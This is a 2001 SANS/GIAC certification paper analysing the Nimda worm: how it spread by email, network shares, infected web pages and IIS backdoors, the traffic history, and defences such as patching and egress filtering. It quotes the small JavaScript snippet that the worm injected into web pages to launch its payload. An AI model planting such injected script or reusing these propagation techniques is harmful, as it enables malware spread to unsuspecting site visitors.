GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Security Essentials: Network, Endpoint, and Cloud (Security 401)"
at http://www.giac.org/registration/gsec

Nimda Worm – Why is it Different?

Keith Poore

11 November 2001

On September 18, 2001 a number of sites noticed greatly increased traffic on port 80. This was the first indication of a new worm or virus spreading throughout the Internet. The Nimda worm spread very rapidly infecting a large number of computers around the world in a very short period of time. The majority of sites returned to near normal traffic in a few days. The Nimda worm should have taught us a few lessons. Let's hope we learned the lessons well.

What made the Nimda worm different from other worms that have been in circulation lately? Why was this any different or more harmful than the others? Why was it able to spread so rapidly? This paper will examine the Nimda worm to identify what makes it different from other types of malicious code. It will then present the current fixes available for the worm as well as some recommendations for protecting against further infections by similar types of malicious code.

Nimda Worm

The malicious code named Nimda is a worm and a virus. It's also very dangerous. It was first discovered on September 18, 2001[1]. The code quickly travelled throughout the Internet infecting thousands of systems running Microsoft's Win9x/NT/ME/2000[2]

What is Nimda?

Nimda is malicious code that is classified by NAI as a virus, by CERT as a worm and by Incidents.Org as a worm/virus. How it's classified has little to do with the amount of damage that it has been inflicting. For the remainder of this paper, I will refer to Nimda as a worm.

The origin of the worm is still unknown but the executable contains a copyright string "Concept Virus (CV) 5.5, Copyright © 2001 R.P.China"[3]. The code generated so much traffic after its initial release that it caused denial of service effects at many sites. This denial of service condition is partially responsible for its discovery but it is not the main damaged caused by the worm.

Why Dangerous

The Nimda worm is dangerous for many reasons. It is destructive, it eats up bandwidth, and it spreads rapidly. It exploits numerous vulnerabilities in the target operating systems. The worm compromises the security of the target computer. It can provide an attacker with full administrative authority, and provide access to the entire file system.

The worm is very difficult to delete because it makes numerous modifications to the target system. This includes registry changes and file system changes.

© SANS Institute 2000 - 2005, Author retains full rights.

© SANS Institute 2000 - 2005 Author retains full rights.

How does it spread?

The Nimda worm is unusual in that it uses a large number of methods to spread. The worm uses four major methods of propagation:

1. It can spread from client to client via email,
2. it can spread from client to client via open network shares,
3. it can be spread from a server to a client via browsing of infected web sites,
4. it can spread from client to web server via scanning for IIS vulnerabilities and backdoors left open by the CodeRed II and sadmin/IIS worms.

Each of these methods will be described in more details later in this document.

What does it do?

The Nimda worm attempts to replicate and to spread itself using as many different mechanisms as it can. It obtains email addresses from the infected computer by looking through the user's web cache and the contents of the user's email messages retrieved via the MAPI service.

The infected machine begins scanning the network for backdoors left on other systems by the CodeRed and sadmin/IIS worms. It also looks to exploit various IIS directory traversal vulnerabilities.

It attempts to transfer itself via tftp to a server that it finds vulnerable. Once the worm is running on a server, it starts to really make itself hard to remove. It traverses each directory of the system, including network shares, and writes a MIME-encoded copy of itself to each directory (using extensions .eml or .nws). If the worm finds a web content directory, then it adds a small piece of javascript code to each .HTM, .HTML or .ASP file it finds. The javascript code is as follows:[4]

<script language="JavaScript">
window.open("readme.eml",null, "resizeable=no,top=6000,left=6000")
</script>[5]

This allows the worm to spread when these pages are listed in a remote browser.

To make the target system even more vulnerable the worm creates an administrative share of the C drive (C$), creates a Guest account on NT and Windows 2000 systems and it adds this account to the Administrator group.

Propagation Details

The next few paragraphs outline in more details how the worm propagates itself. Each of the four main methods is explored.

© SANS Institute 2000 - 2005 Author retains full rights.

Email Propagation (client to client)

The worm finds email addresses as described above. An infected email is sent to all these email addresses. According to the CERT advisory, the subject of the email appears to be variable. Once an infected email is received on a system that supports the Automatic Execution of Embedded MIME types, it automatically runs the attached file and the system becomes infected. The worm then attempts to resend infected email messages every ten days.

Browser Propagation (server to client)

Anyone viewing an infected web page (see above) either locally or over the Internet may become infected. If the local browser automatically executes download code then the system may become infected. Note that only unpatched Internet Explorer browsers version 5 and up are affected.

File System Propagation (client to client)

Once on a system, the worm creates Trojan horse versions of legitimate programs by prepending itself to .EXE files. The worm traverses all directories including shared folders. This allows the worm to move from system to system.

Back Door Propagation (client to server)

The Nimda worm scans for back doors left behind by the CodeRed II and sadmin/IIS worms. The worm also tries to attack a web server running IIS/PWS using the "IIS/PWS Extended Unicode Directory Traversal Vulnerability and the "Escaped Character Decoding Command Execution Vulnerability". Once the worm has gained access to the target system, it uses TFTP to transfer itself using a file named Admin.dll. Unpatched IIS 3.0, 4.0 , 5.0 and PWS 1.0 and 3.0 servers are vulnerable.

History

This worm/virus was first discovered on September 18, 2001 when many sites notice a drastic increase in the number of scans on port 80. CERT released the original Advisory on that date. The number of port 80 probes started to decrease the following day. It is interesting to note the drastic change in the number of probes from distinct IP addresses reported by the Internet Storm Center. The average number reported on the days before September 18th was between 30,000 and 40,000. On the 18th, 19th, 20th and 21st the number of probes from distinct IPs was approximately120,000+, 120,000, 80,000 and 60,000 respectively.

The Nimda worm would attempt to try its mass mailings again 10 days after initial infection. The next round of attacks should have occurred on or about September 28, 2001. ZDNet

© SANS Institute 2000 - 2005 Author retains full rights.

reported [6] that the second wave did not materialize as expected.
New variants of the worm were discovered on October 5th, 12th, 29th and November 9th 2001. McAfee lower its risk assessment of the worm to medium on October 26th, 2001 due to a decrease in prevalence.[7]

While it is inconclusive, I have been monitoring probes on port 80 of my home machine (on the @Home network) and am currently receiving 40 probes per hour. This tells me that there are a lot of unpatched systems still active on the Internet.

Defence

How do we defend against future worms/viruses? Much of the defence comes from common sense. All system Administrators know that they must keep up with the latest release of their Anti-Virus software. Home users need to be educated about the dangers posed to their systems, but they must also learn to behave as good Internet citizens and to help protect the Internet from attacks that originate from their own computers.

In order to fix the problems caused by the Nimda worm, three distinct steps should be taken.

Apply System Patches

Apply patches to your applications as they become available. Microsoft has an information page[8] on the Nimda worm. I will not duplicate the steps required to patch your system, but I will point out a few interesting details about the procedures recommended by Microsoft.

Email and Browser Patching

One of the vulnerabilities exploited by the Nimda worm was identified in Microsoft Security Bulleting MS01-020, which was originally posted on March 29, 2001.

Web Server Patching

Microsoft recommends applying patches provided by MS01-033 and MS01-044 to remove back doors created by the Code Red II worm. These patches have been available since June 18, 2001 and August 15, 2001 respectively.

The Folder Traversal vulnerability could have been blocked by applying patches provided with Microsoft Security Bulletins MS00-057, MS00-078, MS00-086, MS01-026, and MS01-044. The earliest of these bulletins has been available since August 10, 2000, more than a full year before the Nimda worm struck us.

File Shares

The dangers of file shares have been known for a long time. Individuals and organizations need to become more aware of the vulnerabilities of their systems. For those with little

© SANS Institute 2000 - 2005, Author retains full rights.

© SANS Institute 2000 - 2005 Author retains full rights.

knowledge of how to protect their systems, Microsoft provides numerous checklists and guidelines. The Microsoft Personal Security Advisor[9] is available for Windows NT 4 and Windows 2000. This web application scans your system and reports on numerous vulnerabilities. It only takes a few minutes, and it can help you understand the state of your system.

Egress Filtering

The CERT advisory recommended that egress filtering be applied to traffic leaving your network. Most organizations try to control what enters their network but many do not pay any attention to what leaves their network. Egress filtering can be simple, and it can be complex. In relation to the Nimda worm, simply denying outboard traffic with a destination of UDP port 69 (tftp) would have slowed the spreading of the worm.

More complex egress filtering would involve things like watching traffic for unusual patterns like a sudden increase in the amount of outbound traffic with a destination of TCP port 80 and dynamically blocking the port and alerting the system administrator. Maybe this could have alerted system managers to the problems earlier, and slowed the spread of the worm.

The benefits of egress filtering goes beyond controlling the Nimda worm. Egress filtering can stop the spread of other worms and viruses. It can stop our sites from being used as a source for DDOS attacks. Eric Cole in his book "Hackers Beware", recommends a simple egress filter that examines packets leaving your network to ensure that the source address is from that local network.[10]

Changing systems

A drastic but maybe necessary step to avoid being attacked by many worms such as Nimda and Code Red II may be changing to a more secure system, or at least one that is a smaller target. On September 19th, 2001 the Gartner Group recommended such a drastic measure as shown below:

> *Gartner recommends that enterprises hit by both Code Red and Nimda immediately investigate alternatives to IIS, including moving Web applications to Web server software from other vendors, such as iPlanet and Apache. Although these Web servers have required some security patches, they have much better security records than IIS and are not under active attack by the vast number of virus and worm writers[11].*

While it may not be necessary to change your web server, you should at least give it some thought.

Conclusion

© SANS Institute 2000 - 2005 Author retains full rights.

Most of the damage caused by the Nimda worm could have been prevented. It has been clearly demonstrated that the vulnerabilities exploited by the worm have been known about for some time. Had system managers and individuals kept up to date with security bulletins and applied patches as they became available, the Internet's exposure to the Nimda worm would have been greatly reduced.

Monitoring traffic to and from your site is important. You need to have some baseline data so that when unusual activity occurs, you can quickly spot it and take appropriate steps to contain the problem.

Employing ingress and egress filtering is important. The Nimda worm's use of UDP port 69 could have been denied by the use of a simple egress filter. The DOS conditions which occurred as a result of the worm trying to spread could have been reduced had system administrators been monitoring their outbound traffic and had taken steps to deny the worm the opportunity to spread. Filtering outbound traffic is not only good for your site but should be thought of as expected behaviour for a good Internet citizen.

References

"CERT® Advisory CA-2001-26 Nimda Worm", Revised: 25 September 2001
http://www.cert.org/advisories/CA-2001-26.html

"Information on the "Nimda" Worm", Microsoft TechNet
http://www.microsoft.com/technet/security/topics/Nimda.asp (10 November 2001)

"Microsoft Security Bulletin (MS01-020)", Originally posted 29 March 2001
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-020.asp

Microsoft Personal Security Advisor
http://www.microsoft.com/technet/mpsa/start.asp (11 November 2001)

"NIMDA Worm/Virus Report", Final: 3 October 2001
http://www.incidents.org/react/nimda.pdf

"Virus Summary W32/Nimda.gen@MM", McAfee, 9 November 2001
http://vil.nai.com/vil/virusSummary.asp?virus_k=99209

Cole, Eric. Hackers Beware, New Riders, 201 West 103rd Street, Indianapolis, Indiana 46290,

Lemos, Robert. "Nimda resurgence falls flat", ZDNetUK News, 1 October 2001
http://news.zdnet.co.uk/story/0,,t270-s2096327,00.html

McWilliams, Brian. "Nimda Still Active At AOL – Update", Newsbytes, 27 September 2001
http://www.newsbytes.com/news/01/170590.html

© SANS Institute 2000 - 2005 Author retains full rights.

Pescatore, John. “Nimda Worm Shows You Can't Always Patch Fast Enough”, 19 September 2001
http://www3.gartner.com/DisplayDocument?id=340962&acsFlg=accessBought

© SANS Institute 2000 - 2005, Author retains full rights.

End Notes

[1] McAfee Virus Summary
[2] McAfee Virus Summary
[3] Nimda Worm/Virus Report
[4] CA-2001-26
[5] CA-2001-26
[6] Lemos
[7] McAfee Virus Summary
[8] Information on the "Nimda" Worm
[9] Microsoft Personal Security Advisor
[10] Cole, p
[11] Pescatore

© SANS Institute 2000 - 2005, Author retains full rights.

© SANS Institute 2000 - 2005 Author retains full rights.